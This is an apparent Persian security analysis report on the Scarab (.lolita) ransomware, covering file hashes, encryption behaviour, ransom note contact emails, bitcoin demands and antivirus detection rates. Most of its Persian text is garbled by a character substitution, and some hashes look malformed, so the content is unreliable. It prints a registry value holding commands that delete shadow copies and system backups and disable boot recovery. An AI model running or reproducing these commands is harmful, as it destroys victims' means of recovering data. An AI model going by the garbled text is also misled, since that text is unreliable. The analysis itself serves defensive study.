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 مقذمه :

هطااّذا  حاا ی   دّذ. خبز هی  Scarab (.lolita) افشار ، اس ظَْر باجافشار رصذ فضای سایبزی در حَسُ باج

اعلاعا  دقیقی اس  ضذُ است. گشارشهیلادی  2102 ًَاهبز 22 در تاریخ افشار باج فعالیت ایياس آى است  ِ 

ًام  neroافشار  اس آًدا  ِ فایل اخزایی ایي باجهٌابع هعتبز هٌتطز ًطذُ است، اها افشار در  ًحَُ اًتطار ایي باج

قذام باِ  ا سپستَسظ قزباًیاى داًلَد ضذُ  Nero Explorerافشار  اربزدی  دّین در قالب ًزم دارد، احتوال هی

  ٌذ. ّا هی تخزیب سیستن آى

 

   مشخصات فایل اجرایی :

 Nero.exe ًام فایل

MD5 525f22fe717777701b0bec55557f0ab5 

SHA-0 2d152cb075ec27c52222bdd772221a15c5a222b0 

SHA-252 255bf7e07b5fada17b1b7ea501557de0bdf527522f2a5d22772a22e7b0af0baa 

  یلَبایت 520.5 اًذاسُ فایل

 

 بخص است : 0دارای  افشار باجفایل اخزایی ایي 

 انذازه خام انذازه مجازی آدرس مجازی آنتروپی نام بخش
.text 2.72 0172 020707 020721 

.rdata 14.5 022002 27712 51212 

.data .4.4 220020 07222 7221 

.rsrc 5411 200220 502100 502002 
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 تحلیل پویا :

، فایل اخزایی آى را در هحیظ آسهایطاااّی اخازا  ازدین تاا     Scarab (.lolita)افشار  باج تزبزای بزرسی عویق

افشار اس هسایز سیاز در سیساتن قزبااًی اخازا      ‎ایي باج هَرد بزرسی قزار دّین.افشار را اس ًشدیک  عولکزد باج

 ضَد: هی

C:\Users\admin\AppData\Roaming 

 باضذ: افشار هی تضَیز سیز، هزبَط بِ هحل قزارگیزی فایل اخزایی ایي باج

 

ّای هَخَد  حدن فایل طذ ٍ ایي هیشاى با تَخِ بِ  دقیقِ عَل هی 05افشار حذٍد  فزآیٌذ رهشگذاری ایي باج

ایي است  ِ  Scarabافشار  ضَد اها، ًکتِ قابل تَخِ در هَرد ایي ًسخِ اس باج بیطتز ّن هیدر سیستن قزباًی 

ِ      بزخلاف ا ثز باج ای اس  افشارّا، تا پایاى فعالیت خَد ٍ عولیا  رهشگاذاری در سیساتن قزبااًی، ّایا ًطااً

      باا عٌاَاى  آى خاَاّی   ، پیغاام بااج  افاشار  ایاي بااج   پایاى  اار ضَد. پس اس  فعالیت آى در سیستن هطاّذُ ًوی

How to restore files.TXT ضَد. تضَیز هزبَط بِ آى را در  بز رٍی صفحِ ًوایص سیستن قزباًی، ظاّز هی

  ٌیذ: اداهِ هطاّذُ هی
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قازار گزفتاِ اسات.     خاَاّی   ٌیذ، ضٌاسِ قزباًی در ابتذای پیغام بااج  ّواًغَر  ِ در تضَیز بالا هطاّذُ هی

اًاذ ٍ قزبااًی    ّای سیستن قزباًی بِ علت یک هطکل اهٌیتی رهشگذاری ضذُ سپس، عٌَاى ضذُ است  ِ فایل

 َیي پزداخت  ٌذ ٍ بزای ایي هٌظَر ٍ بزقازاری ارتبااط باا     ّا هبلغی را بِ صَر  بیت بزای رهشگطایی آى

ارسال  ٌاذ. در صاَر  عاذم     lolitahelp@cock.liهْاخن یا هْاخویي، بایذ ضٌاسِ خَد را بِ آدرس ایویل 

ارسال ًوایذ. در اداهاِ   lolitahelp@protonmail.comپاسخ، بایذ ضٌاسِ خَد را بِ آدرس دیازی با عٌَاى 

هاابایات باِ صاَر      5َاى ضذُ است  ِ سِ فایل باا حدان  وتاز اس    ّا، عٌ بزای ضواًت رهشگطایی فایل

ّای هْن درٍى سیستن قزباًی باضٌذ. در اًتْای پیغام  ّا ًبایذ اس فایل رایااى رهشگطایی خَاٌّذ ضذ. ایي فایل

ّویٌغَر، ّطاذارّایی باِ     َیي قزار دادُ ضذُ است. ّایی بزای راٌّوایی قزباًی خْت خزیذ بیت ًیش، لیٌک

ّا اساتفادُ ًکٌاذ سیازا، هَخاب      ّا را تغییز ًذّذ ٍ اس ابشار دیازی خْت رهشگطایی فایل اًی  ِ ًام فایلقزب

 ضَد.   ّا هی ّا ٍ افشایص ّشیٌِ رهشگطایی آى تخزیب فایل

mailto:lolitahelp@cock.li
mailto:lolitahelp@protonmail.com
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افاشار ٍ دریافات آدرس  یاو پاَل هْااخن، باِ آدرس هاذ َر در پیغاام          بزای بزرسی ٍضعیت فعالیت باج

  ٌیذ:  زدین. پاسخ آى را در اداهِ هطاّذُ هی خَاّی ایویلی ارسال باج

 

ّا درخَاست دادُ ضذُ اسات  اِ در     َیي بزای رهشگطایی فایل بیت 1.7 ٌیذ، هبلغ ‎ّواًغَر  ِ هطاّذُ هی

ّاایی خْات خزیاذ      ٌذ. در اداهِ ًیش، هْاخن لیٌاک   َیي افشایص پیذا هی بیت 0.0رٍسبعذ بِ دٍبزابز هعادل 

ّاای هطاخش ضاذُ را خْات      ست ٍ ّوچٌیي عٌَاى  زدُ است  ِ یک فایل با فزهت َیي قزار دادُ ا بیت

  ٌذ.   رهشگطایی هی ،ضواًت

پَل هْاخن، ایویلی دیازی ارسال  زدین. تضَیز هزبَط بِ پاسخ ایویل را در اداهِ  بزای دریافت آدرس  یو

  ٌیذ: هطاّذُ هی
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پاَل ایاي    را بزرسی  زدین. خَضابختاًِ،  یاو  ّای آى  پَل هْاخن، ٍضعیت تزا ٌص با دریافت آدرس  یو

 افشار، تا ٌَى تزا ٌطی ًذاضتِ است: باج

 

  ٌٌذ: ّای سیستن قزباًی پس اس رهشگذاری، بِ ضکل سیز تغییز پیذا هی‎فایل
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ّای رهشگذاری ضذُ، پسًَذ  اًذ ٍ بِ اًتْای فایل ّا رهشگذاری ضذُ  ٌیذ، تواهی فایل ّواًغَر  ِ هطاّذُ هی

.lolita باا   گیازد.  ّای رهشضذُ قازار های   خَاّی ًیش در ّز پَضِ حاٍی فایل اضافِ ضذُ است. فایل پیغام باج

افشار اًدام دادین، هتَخِ ضذین  اِ   عاهل پس اس اخزای باج ّایی  ِ بز رٍی هسیزّای هختلو سیستن بزرسی

اس رهشگاذاری   exeپساًَذ   ّای اخزایی با ٍ فایل ProgramDataعاهل،  ّای هَخَد در پَضِ سیستن فقظ فایل

 اًذ. افشار در اهاى هاًذُ تَسظ ایي باج

افشار یک  لیذ رخیستزی با هطخضاا  سیاز ایدااد     ّای آًلایي، ایي باج بز اساس هطاّذا  ًتایح سٌذبا س

  ٌذ: هی

 HKEY_CURRENT_USER\Software\JPRRR : لیذ

 DIELQ :ًام

 o=new ActiveXObject("WScript.Shell");o.Run("cmd.exe /c wbadmin DELETE :هقذار

SYSTEMSTATEBACKUP -keepVersions:1",1);o.Run("cmd.exe /c wmic SHADOWCOPY 

DELETE",1);o.Run("cmd.exe /c vssadmin Delete Shadows /All /Quiet",1);o.Run("cmd.exe /c bcdedit 
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/set {default} recoveryenabled No",1);o.Run("cmd.exe /c bcdedit /set {default} bootstatuspolicy 

ignoreallfailures",1); 

سیساتن ٍ   VSSافشار بزای حذف فضاای   اس هقذار تٌظین ضذُ بزای ایي  لیذ رخیستزی هطخش است  ِ باج

ّا با استفادُ اس ایي قسوت،  لیذ رخیستزی هذ َر را ایداد  زدُ اسات.   غیزهوکي  زدى قابلیت باسیابی فایل

 ضَد. افشار، اس سیستن قزباًی حذف هی ذ پس اس پایاى فعالیت باجایي  لی

ضاَد ٍ در هحال اخازای خاَد بااقی       افشار پس اس پایاى فعالیت خَد، در سیستن قزباًی هتَقو های  ایي باج

 هاًذ. هی

 

 تحلیل ایستا:

 افشار ًتایح سیز حاصل گزدیذ: پس اس تحلیل  ذ فایل اخزایی باج

اساتفادُ   VSSافشار اس یک  لیذ رخیستزی بزای حذف قسوت  ّواًغَر  ِ در قسوت قبل اضارُ ضذ، ایي باج

 ٌذ ٍ ایي  لیذ هذ َر را پس اس پایاى فعالیت خَد حذف هیکٌذ. قغعِ  ذ سیز هزبَط بِ حذف ایي  لیذ  هی

 باضذ: هی
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ًوایص سیستن قزباًی استفادُ ضاذُ اسات.    خَاّی هتٌاسب با صفحِ قغعِ  ذ سیز بزای تٌظین فایل پیغام باج

 گیزد: خَاّی، توام فضای صفحِ ًوایص سیستن قزباًی را دربزهی تضَیز پیغام باج
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 اس قسوت هطخش ضذُ در قغعِ  ذ سیز، بزای دریافت اعلاعا  ّز فایل استفادُ ضذُ است:

 

 رهشگذاری، استفادُ ضذُ است:اس قغعِ  ذ سیز، بزای اضافِ ًوَدى پسًَذ بِ اًتْای ّز فایل پس اس 

 

 یلَبایات اٍل ّاز فایال    02ّا هتَخِ ضاذین  اِ فقاظ     با بزرسی چٌذ ًوًَِ فایل رهشضذُ با ًوًَِ سالن آى

بایت اضافِ ضذُ اسات. در اداهاِ ًتاایح هقایساِ دٍ     027رهشگذاری ضذُ است. بِ اًتْای ّز فایل ًیش، هقذار 

  ٌیذ: هطاّذُ هی ّا را ًوًَِ فایل رهشضذُ با ًوًَِ سالن آى
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 تحلیل ترافیک شبکه :

افشار در هحیظ آهایطااّی ٍ بزرسی تزافیک ضبکِ ایدااد ضاذُ، ّایا تزافیاک هطاکَ ی       پس اس اخزای باج

 افشار هطاّذُ ًکزدین. هزبَط بِ باج
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 : VirusTotalخروجی سامانه 

قادر بِ  VirusTotalآًتی ٍیزٍس ٍ آًتی بذافشار هَخَد در ساهاًِ  71هَرد اس  05تعذاد  تٌْا در حال حاضز

   ٌٌذ. بَدُ ٍآى را حذف یا غیزفعال هی افشار باجضٌاسایی ایي 
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 کاو مرکس ماهر : خروجی سامانه ویروس

قادر بِ   اٍ ٍیزٍسآًتی ٍیزٍس ٍ آًتی بذافشار هَخَد در ساهاًِ  00هَرد اس  2در حال حاضز تعذاد 

  ٌٌذ. افشار بَدُ ٍآى را حذف یا غیزفعال هی ضٌاسایی ایي باج
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